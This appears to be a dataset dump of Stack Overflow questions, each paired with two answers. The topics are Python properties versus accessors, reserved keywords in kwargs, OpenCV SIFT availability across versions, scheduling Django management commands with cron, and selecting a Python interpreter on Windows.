You've missed the point. It isn't the lack of encapsulation that removes the need for accessors, it's the fact that, by changing from a direct attribute to a property, you can add an accessor at a later time without changing the published interface in any way. In many other languages, if you expose an attribute as public and then later want to wrap some code round it on access or mutation then you have to change the interface and anyone using the code has at the very least to recompile and possibly to edit their code also. Python isn't like that: you can flip flop between attribute or property just as much as you want and no code that uses the class will break.
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
> > Note: I've considered properties, but I don't think they're a cleaner solution. > > > [But they are.](http://docs.python.org/library/functions.html#property) By using properties, you'll have the class signature you want, while being able to use the property as an attribute itself. ``` def _get_id(self): return self._id def _set_id(self, newid): self._id = newid ``` Is likely similar to what you have now. To placate your team, you'd just need to add the following: ``` id = property(_get_id, _set_id) ``` You could also use `property` as a decorator: ``` @property def id(self): return self._id @id.setter def id(self, newid): self._id = newid ``` And to make it readonly, just leave out `set_id`/the `id.setter` bit.
The discussion already ended a year ago, but this snippet seemed telltale, it's worth discussing: > > However, an implementation of the > class that satisfies all of the > abstract methods will almost certainly > fail, because the author won't know > that they need attributes called > 'author' and 'date' and so on, so code > that tries to access Revision.author > will throw an exception. > > > Uh, something is deeply wrong. (What S. Lott said, minus the personal comments). If these are required members, aren't they referenced (if not required) in the constructor, and defined by docstring? or at very least, as required args of methods, and again documented? How could users of the class **not** know what the required members are? To be the devil's advocate, what if your constructor(s) requires you to supply all the members that will/may be required, what issue does that cause? Also, are you checking the parameters when passed, and throwing informative exceptions? (The ideological argument of accessor-vs-property is a sidebar. Properties are preferable but I don't think that's the issue with your class design.)
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
You've missed the point. It isn't the lack of encapsulation that removes the need for accessors, it's the fact that, by changing from a direct attribute to a property, you can add an accessor at a later time without changing the published interface in any way. In many other languages, if you expose an attribute as public and then later want to wrap some code round it on access or mutation then you have to change the interface and anyone using the code has at the very least to recompile and possibly to edit their code also. Python isn't like that: you can flip flop between attribute or property just as much as you want and no code that uses the class will break.
The discussion already ended a year ago, but this snippet seemed telltale, it's worth discussing: > > However, an implementation of the > class that satisfies all of the > abstract methods will almost certainly > fail, because the author won't know > that they need attributes called > 'author' and 'date' and so on, so code > that tries to access Revision.author > will throw an exception. > > > Uh, something is deeply wrong. (What S. Lott said, minus the personal comments). If these are required members, aren't they referenced (if not required) in the constructor, and defined by docstring? or at very least, as required args of methods, and again documented? How could users of the class **not** know what the required members are? To be the devil's advocate, what if your constructor(s) requires you to supply all the members that will/may be required, what issue does that cause? Also, are you checking the parameters when passed, and throwing informative exceptions? (The ideological argument of accessor-vs-property is a sidebar. Properties are preferable but I don't think that's the issue with your class design.)
4,424,342
When using the kwarg-style dict initialization: ``` In [3]: dict(a=1, b=2, c=3) Out[3]: {'a': 1, 'b': 2, 'c': 3} ``` for some reason, defining the key 'from' raises a syntax error: ``` In [4]: dict(to=0, from=1) ------------------------------------------------------------ File "<ipython console>", line 1 dict(to=0, from=1) ^ SyntaxError: invalid syntax ``` What is special about the key 'from'? Are there any other reserved keys for the kwarg-style initialization? I am using Python 2.6.
2010/12/12
[ "https://Stackoverflow.com/questions/4424342", "https://Stackoverflow.com", "https://Stackoverflow.com/users/226037/" ]
from is a keyword: ``` from threading import Thread ``` Python doesn't have context-sensitive keywords: A name is either a keyword, or can be used as an identifier. There used to be one exception: "as" used to be special-cased in import statements when it was first introduced, but has since been promoted to "full keyword". Context-sensitive keywords would be a questionable feature. E.g. should ``` print=3 ``` work or fail (it could be a syntactically incorrect print statement, or an assignment to a variable named print). Or, what about ``` def print(x): print x print(3) ``` Should this define a function print? If so, is the last line a call?
you can't use python keywords such as `from` in kwargs
4,424,342
When using the kwarg-style dict initialization: ``` In [3]: dict(a=1, b=2, c=3) Out[3]: {'a': 1, 'b': 2, 'c': 3} ``` for some reason, defining the key 'from' raises a syntax error: ``` In [4]: dict(to=0, from=1) ------------------------------------------------------------ File "<ipython console>", line 1 dict(to=0, from=1) ^ SyntaxError: invalid syntax ``` What is special about the key 'from'? Are there any other reserved keys for the kwarg-style initialization? I am using Python 2.6.
2010/12/12
[ "https://Stackoverflow.com/questions/4424342", "https://Stackoverflow.com", "https://Stackoverflow.com/users/226037/" ]
`from` is used in imports. [Python Language Reference, §2.3.1, "Keywords"](http://docs.python.org/reference/lexical_analysis.html#keywords) Note that you can still use kwarg expansion to get them through though.
you can't use python keywords such as `from` in kwargs
4,424,342
When using the kwarg-style dict initialization: ``` In [3]: dict(a=1, b=2, c=3) Out[3]: {'a': 1, 'b': 2, 'c': 3} ``` for some reason, defining the key 'from' raises a syntax error: ``` In [4]: dict(to=0, from=1) ------------------------------------------------------------ File "<ipython console>", line 1 dict(to=0, from=1) ^ SyntaxError: invalid syntax ``` What is special about the key 'from'? Are there any other reserved keys for the kwarg-style initialization? I am using Python 2.6.
2010/12/12
[ "https://Stackoverflow.com/questions/4424342", "https://Stackoverflow.com", "https://Stackoverflow.com/users/226037/" ]
`from`, like a handful of other tokens, are keywords/reserved words in Python (`from` specifically is used when importing a few hand-picked objects from a module into the current namespace). You cannot use them as identifiers or anything (ultimately, kwargs are identifiers). It's simply not allowed, even when *in theory* it could disambiguated, to keep the parser simple and the people writing the parser sane ;)
you can't use python keywords such as `from` in kwargs
4,424,342
When using the kwarg-style dict initialization: ``` In [3]: dict(a=1, b=2, c=3) Out[3]: {'a': 1, 'b': 2, 'c': 3} ``` for some reason, defining the key 'from' raises a syntax error: ``` In [4]: dict(to=0, from=1) ------------------------------------------------------------ File "<ipython console>", line 1 dict(to=0, from=1) ^ SyntaxError: invalid syntax ``` What is special about the key 'from'? Are there any other reserved keys for the kwarg-style initialization? I am using Python 2.6.
2010/12/12
[ "https://Stackoverflow.com/questions/4424342", "https://Stackoverflow.com", "https://Stackoverflow.com/users/226037/" ]
`from` is used in imports. [Python Language Reference, §2.3.1, "Keywords"](http://docs.python.org/reference/lexical_analysis.html#keywords) Note that you can still use kwarg expansion to get them through though.
from is a keyword: ``` from threading import Thread ``` Python doesn't have context-sensitive keywords: A name is either a keyword, or can be used as an identifier. There used to be one exception: "as" used to be special-cased in import statements when it was first introduced, but has since been promoted to "full keyword". Context-sensitive keywords would be a questionable feature. E.g. should ``` print=3 ``` work or fail (it could be a syntactically incorrect print statement, or an assignment to a variable named print). Or, what about ``` def print(x): print x print(3) ``` Should this define a function print? If so, is the last line a call?
4,424,342
When using the kwarg-style dict initialization: ``` In [3]: dict(a=1, b=2, c=3) Out[3]: {'a': 1, 'b': 2, 'c': 3} ``` for some reason, defining the key 'from' raises a syntax error: ``` In [4]: dict(to=0, from=1) ------------------------------------------------------------ File "<ipython console>", line 1 dict(to=0, from=1) ^ SyntaxError: invalid syntax ``` What is special about the key 'from'? Are there any other reserved keys for the kwarg-style initialization? I am using Python 2.6.
2010/12/12
[ "https://Stackoverflow.com/questions/4424342", "https://Stackoverflow.com", "https://Stackoverflow.com/users/226037/" ]
`from` is used in imports. [Python Language Reference, §2.3.1, "Keywords"](http://docs.python.org/reference/lexical_analysis.html#keywords) Note that you can still use kwarg expansion to get them through though.
`from`, like a handful of other tokens, are keywords/reserved words in Python (`from` specifically is used when importing a few hand-picked objects from a module into the current namespace). You cannot use them as identifiers or anything (ultimately, kwargs are identifiers). It's simply not allowed, even when *in theory* it could disambiguated, to keep the parser simple and the people writing the parser sane ;)
52,305,578
So I am trying to use: ``` sift = cv2.xfeatures2d.SIFT_create() ``` and it is coming up with this error: ``` cv2.error: OpenCV(3.4.3) C:\projects\opencv-python\opencv_contrib\modules\xfeatures2d\src\sift.cpp:1207: error: (-213:The function/feature is not implemented) This algorithm is patented and is excluded in this configuration; Set OPENCV_ENABLE_NONFREE CMake option and rebuild the library in function 'cv::xfeatures2d::SIFT::create' ``` I am using `Python 3.5.0` and `opencv(3.4.3)` and I am just using idle. This occured after I tried to install TensorFlow and I have tried looking around and have installed opencv-contrib-python but I am still getting the same error. Thank you in advance and I apologise if I have not included enough info
2018/09/13
[ "https://Stackoverflow.com/questions/52305578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8573126/" ]
I had the same problem. It seems that SIRF and SURF are [no longer available in opencv > 3.4.2.16](https://github.com/DynaSlum/satsense/issues/13). I chose an older opencv-python and opencv-contrib-python versions and solved this problem. Here is the [history version](https://pypi.org/project/opencv-python/#history) about opencv-python, and I use the following code : ``` pip install opencv-python==3.4.2.16 pip install opencv-contrib-python==3.4.2.16 ``` **Edit** For Anaconda User just this instead of pip ``` conda install -c menpo opencv ``` this will install cv2 3.4.1 and everything you need to run SIFT good luck~
It may be due to a mismatch of opencv version and opencv-contrib version. If you installed opencv from the source using CMake, and the source version is different from the version of opencv-contrib-python, uninstall the current opencv-contrib-python and do `pip install opencv-contrib-python==<version of the source>.X` or an another compatible version. One version setup that I have running is opencv source (3.2), opencv-python (3.4.0.14) and opencv-contrib-python (3.4.2.17)
52,305,578
So I am trying to use: ``` sift = cv2.xfeatures2d.SIFT_create() ``` and it is coming up with this error: ``` cv2.error: OpenCV(3.4.3) C:\projects\opencv-python\opencv_contrib\modules\xfeatures2d\src\sift.cpp:1207: error: (-213:The function/feature is not implemented) This algorithm is patented and is excluded in this configuration; Set OPENCV_ENABLE_NONFREE CMake option and rebuild the library in function 'cv::xfeatures2d::SIFT::create' ``` I am using `Python 3.5.0` and `opencv(3.4.3)` and I am just using idle. This occured after I tried to install TensorFlow and I have tried looking around and have installed opencv-contrib-python but I am still getting the same error. Thank you in advance and I apologise if I have not included enough info
2018/09/13
[ "https://Stackoverflow.com/questions/52305578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8573126/" ]
Edit: The `opencv-contrib-python-nonfree` was removed from pypi. **On Linux/ MacOS**, I've found a better solution! To access nonfree detectors use: `pip install opencv-contrib-python-nonfree`
It may be due to a mismatch of opencv version and opencv-contrib version. If you installed opencv from the source using CMake, and the source version is different from the version of opencv-contrib-python, uninstall the current opencv-contrib-python and do `pip install opencv-contrib-python==<version of the source>.X` or an another compatible version. One version setup that I have running is opencv source (3.2), opencv-python (3.4.0.14) and opencv-contrib-python (3.4.2.17)
52,305,578
So I am trying to use: ``` sift = cv2.xfeatures2d.SIFT_create() ``` and it is coming up with this error: ``` cv2.error: OpenCV(3.4.3) C:\projects\opencv-python\opencv_contrib\modules\xfeatures2d\src\sift.cpp:1207: error: (-213:The function/feature is not implemented) This algorithm is patented and is excluded in this configuration; Set OPENCV_ENABLE_NONFREE CMake option and rebuild the library in function 'cv::xfeatures2d::SIFT::create' ``` I am using `Python 3.5.0` and `opencv(3.4.3)` and I am just using idle. This occured after I tried to install TensorFlow and I have tried looking around and have installed opencv-contrib-python but I am still getting the same error. Thank you in advance and I apologise if I have not included enough info
2018/09/13
[ "https://Stackoverflow.com/questions/52305578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8573126/" ]
Since SIFT patent expired, SIFT has been moved to the main repo. To use SIFT in Opencv, You should use cv2.SIFT\_create() instead of cv2.xfeatures2d.SIFT\_create() now. (xfeatures2d only exists in the contrib package, but sift is part of the main package now.) Below link will be helpful. <https://github.com/opencv/opencv/issues/16736>
It may be due to a mismatch of opencv version and opencv-contrib version. If you installed opencv from the source using CMake, and the source version is different from the version of opencv-contrib-python, uninstall the current opencv-contrib-python and do `pip install opencv-contrib-python==<version of the source>.X` or an another compatible version. One version setup that I have running is opencv source (3.2), opencv-python (3.4.0.14) and opencv-contrib-python (3.4.2.17)
52,305,578
So I am trying to use: ``` sift = cv2.xfeatures2d.SIFT_create() ``` and it is coming up with this error: ``` cv2.error: OpenCV(3.4.3) C:\projects\opencv-python\opencv_contrib\modules\xfeatures2d\src\sift.cpp:1207: error: (-213:The function/feature is not implemented) This algorithm is patented and is excluded in this configuration; Set OPENCV_ENABLE_NONFREE CMake option and rebuild the library in function 'cv::xfeatures2d::SIFT::create' ``` I am using `Python 3.5.0` and `opencv(3.4.3)` and I am just using idle. This occured after I tried to install TensorFlow and I have tried looking around and have installed opencv-contrib-python but I am still getting the same error. Thank you in advance and I apologise if I have not included enough info
2018/09/13
[ "https://Stackoverflow.com/questions/52305578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8573126/" ]
I had the same problem. It seems that SIRF and SURF are [no longer available in opencv > 3.4.2.16](https://github.com/DynaSlum/satsense/issues/13). I chose an older opencv-python and opencv-contrib-python versions and solved this problem. Here is the [history version](https://pypi.org/project/opencv-python/#history) about opencv-python, and I use the following code : ``` pip install opencv-python==3.4.2.16 pip install opencv-contrib-python==3.4.2.16 ``` **Edit** For Anaconda User just this instead of pip ``` conda install -c menpo opencv ``` this will install cv2 3.4.1 and everything you need to run SIFT good luck~
Edit: The `opencv-contrib-python-nonfree` was removed from pypi. **On Linux/ MacOS**, I've found a better solution! To access nonfree detectors use: `pip install opencv-contrib-python-nonfree`
52,305,578
So I am trying to use: ``` sift = cv2.xfeatures2d.SIFT_create() ``` and it is coming up with this error: ``` cv2.error: OpenCV(3.4.3) C:\projects\opencv-python\opencv_contrib\modules\xfeatures2d\src\sift.cpp:1207: error: (-213:The function/feature is not implemented) This algorithm is patented and is excluded in this configuration; Set OPENCV_ENABLE_NONFREE CMake option and rebuild the library in function 'cv::xfeatures2d::SIFT::create' ``` I am using `Python 3.5.0` and `opencv(3.4.3)` and I am just using idle. This occured after I tried to install TensorFlow and I have tried looking around and have installed opencv-contrib-python but I am still getting the same error. Thank you in advance and I apologise if I have not included enough info
2018/09/13
[ "https://Stackoverflow.com/questions/52305578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8573126/" ]
I had the same problem. It seems that SIRF and SURF are [no longer available in opencv > 3.4.2.16](https://github.com/DynaSlum/satsense/issues/13). I chose an older opencv-python and opencv-contrib-python versions and solved this problem. Here is the [history version](https://pypi.org/project/opencv-python/#history) about opencv-python, and I use the following code : ``` pip install opencv-python==3.4.2.16 pip install opencv-contrib-python==3.4.2.16 ``` **Edit** For Anaconda User just this instead of pip ``` conda install -c menpo opencv ``` this will install cv2 3.4.1 and everything you need to run SIFT good luck~
Since SIFT patent expired, SIFT has been moved to the main repo. To use SIFT in Opencv, You should use cv2.SIFT\_create() instead of cv2.xfeatures2d.SIFT\_create() now. (xfeatures2d only exists in the contrib package, but sift is part of the main package now.) Below link will be helpful. <https://github.com/opencv/opencv/issues/16736>
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
I think the problem is that cron is going to run your scripts in a "bare" environment, so your DJANGO\_SETTINGS\_MODULE is likely undefined. You may want to wrap this up in a shell script that first defines DJANGO\_SETTINGS\_MODULE Something like this: ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py mycommand ``` Make it executable (chmod +x) and then set up cron to run the script instead. **Edit** I also wanted to say that you can "modularize" this concept a little bit and make it such that your script accepts the manage commands as arguments. ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py ${*} ``` Now, your cron job can simply pass "mycommand" or any other manage.py command you want to run from a cron job.
**How to Schedule Django custom Commands on AWS EC-2 Instance?** **Step -1** ``` First, you need to write a .cron file ``` **Step-2** ``` Write your script in .cron file. ``` > > MyScript.cron > > > ``` * * * * * /home/ubuntu/kuzo1/venv/bin/python3 /home/ubuntu/Myproject/manage.py transfer_funds >> /home/ubuntu/Myproject/cron.log 2>&1 ``` Where \* \* \* \* \* means that the script will be run at every minute. you can change according to need ([https://crontab.guru/#\*\_\*\_\*\_\*\_\*](https://crontab.guru/#*_*_*_*_*)). Where /home/ubuntu/kuzo1/venv/bin/python3 is python virtual environment path. Where /home/ubuntu/kuzo1/manage.py transfer\_funds is Django custom command path & /home/ubuntu/kuzo1/cron.log 2>&1 is a log file where you can check your running cron log **Step-3** **Run this script** ``` $ crontab MyScript.cron ``` **Step-4** **Some useful command** ``` 1. $ crontab -l (Check current running cron job) 2. $ crontab -r (Remove cron job) ```
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
I think the problem is that cron is going to run your scripts in a "bare" environment, so your DJANGO\_SETTINGS\_MODULE is likely undefined. You may want to wrap this up in a shell script that first defines DJANGO\_SETTINGS\_MODULE Something like this: ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py mycommand ``` Make it executable (chmod +x) and then set up cron to run the script instead. **Edit** I also wanted to say that you can "modularize" this concept a little bit and make it such that your script accepts the manage commands as arguments. ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py ${*} ``` Now, your cron job can simply pass "mycommand" or any other manage.py command you want to run from a cron job.
1. If its a standalone script, you need to do this: ``` from django.conf import settings from django.core.management import setup_environ setup_environ(settings) #your code here which uses django code, like django model ``` 2. If its a django command, its easier: <https://coderwall.com/p/k5p6ag> In (management/commands/exporter.py) ``` from django.core.management.base import BaseCommand, CommandError class Command(BaseCommand): args = '' help = 'Export data to remote server' def handle(self, *args, **options): # do something here ``` And then, in the command line: ``` $ python manage.py exporter ``` Now, it's easy to add a new cron task to a Linux system, using crontab: ``` $ crontab -e or $ sudo crontab -e if you need root privileges ``` In the crontab file, for example for run this command every 15 minutes, something like this: ``` # m h dom mon dow command */15 * * * * python /var/www/myapp/manage.py exporter ```
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
``` cd /path/to/project/myapp && python manage.py mycommand ``` By chaining your commands like this, python will not be executed unless cd correctly changes the directory.
**How to Schedule Django custom Commands on AWS EC-2 Instance?** **Step -1** ``` First, you need to write a .cron file ``` **Step-2** ``` Write your script in .cron file. ``` > > MyScript.cron > > > ``` * * * * * /home/ubuntu/kuzo1/venv/bin/python3 /home/ubuntu/Myproject/manage.py transfer_funds >> /home/ubuntu/Myproject/cron.log 2>&1 ``` Where \* \* \* \* \* means that the script will be run at every minute. you can change according to need ([https://crontab.guru/#\*\_\*\_\*\_\*\_\*](https://crontab.guru/#*_*_*_*_*)). Where /home/ubuntu/kuzo1/venv/bin/python3 is python virtual environment path. Where /home/ubuntu/kuzo1/manage.py transfer\_funds is Django custom command path & /home/ubuntu/kuzo1/cron.log 2>&1 is a log file where you can check your running cron log **Step-3** **Run this script** ``` $ crontab MyScript.cron ``` **Step-4** **Some useful command** ``` 1. $ crontab -l (Check current running cron job) 2. $ crontab -r (Remove cron job) ```
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
``` cd /path/to/project/myapp && python manage.py mycommand ``` By chaining your commands like this, python will not be executed unless cd correctly changes the directory.
The runscript extension wasn't well documented. Unlike the django command this one can go anywhere in your project and requires a scripts folder. The .py file requires a run() function.
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
This is what i have done recently in one of my projects,(i maintain venvs for every project i work, so i am assumning you have venvs) > > > ``` > ***** /path/to/venvs/bin/python /path/to/app/manage.py command_name > > ``` > > This worked perfectly for me.
The runscript extension wasn't well documented. Unlike the django command this one can go anywhere in your project and requires a scripts folder. The .py file requires a run() function.
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
``` cd /path/to/project/myapp && python manage.py mycommand ``` By chaining your commands like this, python will not be executed unless cd correctly changes the directory.
1. If its a standalone script, you need to do this: ``` from django.conf import settings from django.core.management import setup_environ setup_environ(settings) #your code here which uses django code, like django model ``` 2. If its a django command, its easier: <https://coderwall.com/p/k5p6ag> In (management/commands/exporter.py) ``` from django.core.management.base import BaseCommand, CommandError class Command(BaseCommand): args = '' help = 'Export data to remote server' def handle(self, *args, **options): # do something here ``` And then, in the command line: ``` $ python manage.py exporter ``` Now, it's easy to add a new cron task to a Linux system, using crontab: ``` $ crontab -e or $ sudo crontab -e if you need root privileges ``` In the crontab file, for example for run this command every 15 minutes, something like this: ``` # m h dom mon dow command */15 * * * * python /var/www/myapp/manage.py exporter ```
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
I think the problem is that cron is going to run your scripts in a "bare" environment, so your DJANGO\_SETTINGS\_MODULE is likely undefined. You may want to wrap this up in a shell script that first defines DJANGO\_SETTINGS\_MODULE Something like this: ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py mycommand ``` Make it executable (chmod +x) and then set up cron to run the script instead. **Edit** I also wanted to say that you can "modularize" this concept a little bit and make it such that your script accepts the manage commands as arguments. ``` #!/bin/bash export DJANGO_SETTINGS_MODULE=myproject.settings ./manage.py ${*} ``` Now, your cron job can simply pass "mycommand" or any other manage.py command you want to run from a cron job.
The runscript extension wasn't well documented. Unlike the django command this one can go anywhere in your project and requires a scripts folder. The .py file requires a run() function.
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
**How to Schedule Django custom Commands on AWS EC-2 Instance?** **Step -1** ``` First, you need to write a .cron file ``` **Step-2** ``` Write your script in .cron file. ``` > > MyScript.cron > > > ``` * * * * * /home/ubuntu/kuzo1/venv/bin/python3 /home/ubuntu/Myproject/manage.py transfer_funds >> /home/ubuntu/Myproject/cron.log 2>&1 ``` Where \* \* \* \* \* means that the script will be run at every minute. you can change according to need ([https://crontab.guru/#\*\_\*\_\*\_\*\_\*](https://crontab.guru/#*_*_*_*_*)). Where /home/ubuntu/kuzo1/venv/bin/python3 is python virtual environment path. Where /home/ubuntu/kuzo1/manage.py transfer\_funds is Django custom command path & /home/ubuntu/kuzo1/cron.log 2>&1 is a log file where you can check your running cron log **Step-3** **Run this script** ``` $ crontab MyScript.cron ``` **Step-4** **Some useful command** ``` 1. $ crontab -l (Check current running cron job) 2. $ crontab -r (Remove cron job) ```
The runscript extension wasn't well documented. Unlike the django command this one can go anywhere in your project and requires a scripts folder. The .py file requires a run() function.
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
``` cd /path/to/project/myapp && python manage.py mycommand ``` By chaining your commands like this, python will not be executed unless cd correctly changes the directory.
This is what i have done recently in one of my projects,(i maintain venvs for every project i work, so i am assumning you have venvs) > > > ``` > ***** /path/to/venvs/bin/python /path/to/app/manage.py command_name > > ``` > > This worked perfectly for me.
1,601,153
I want my custom made Django command to be executed every minute. However it seems like `python /path/to/project/myapp/manage.py mycommand` doesn't seem to work while at the directory `python manage.py mycommand` works perfectly. How can I achieve this ? I use `/etc/crontab` with: ``` ****** root python /path/to/project/myapp/manage.py mycommand ```
2009/10/21
[ "https://Stackoverflow.com/questions/1601153", "https://Stackoverflow.com", "https://Stackoverflow.com/users/151937/" ]
``` cd /path/to/project/myapp && python manage.py mycommand ``` By chaining your commands like this, python will not be executed unless cd correctly changes the directory.
If you want your Django life a lot more simple, use django-command-extensions within your project: <http://code.google.com/p/django-command-extensions/> You'll find a command named "runscript" so you simply add the command to your crontab line: ``` ****** root python /path/to/project/myapp/manage.py runscript mycommand ``` And such a script will execute with the Django context environment.
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
If you want to mix in the same runtime both 2.6 and 3.1 you may be interested in [execnet](http://codespeak.net/execnet/). Never tested directly, however * Edit: looking at you comments on another answer, I understood better the question
Maybe "Open with..." + 'Remember my choice' in context menu of explorer?
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
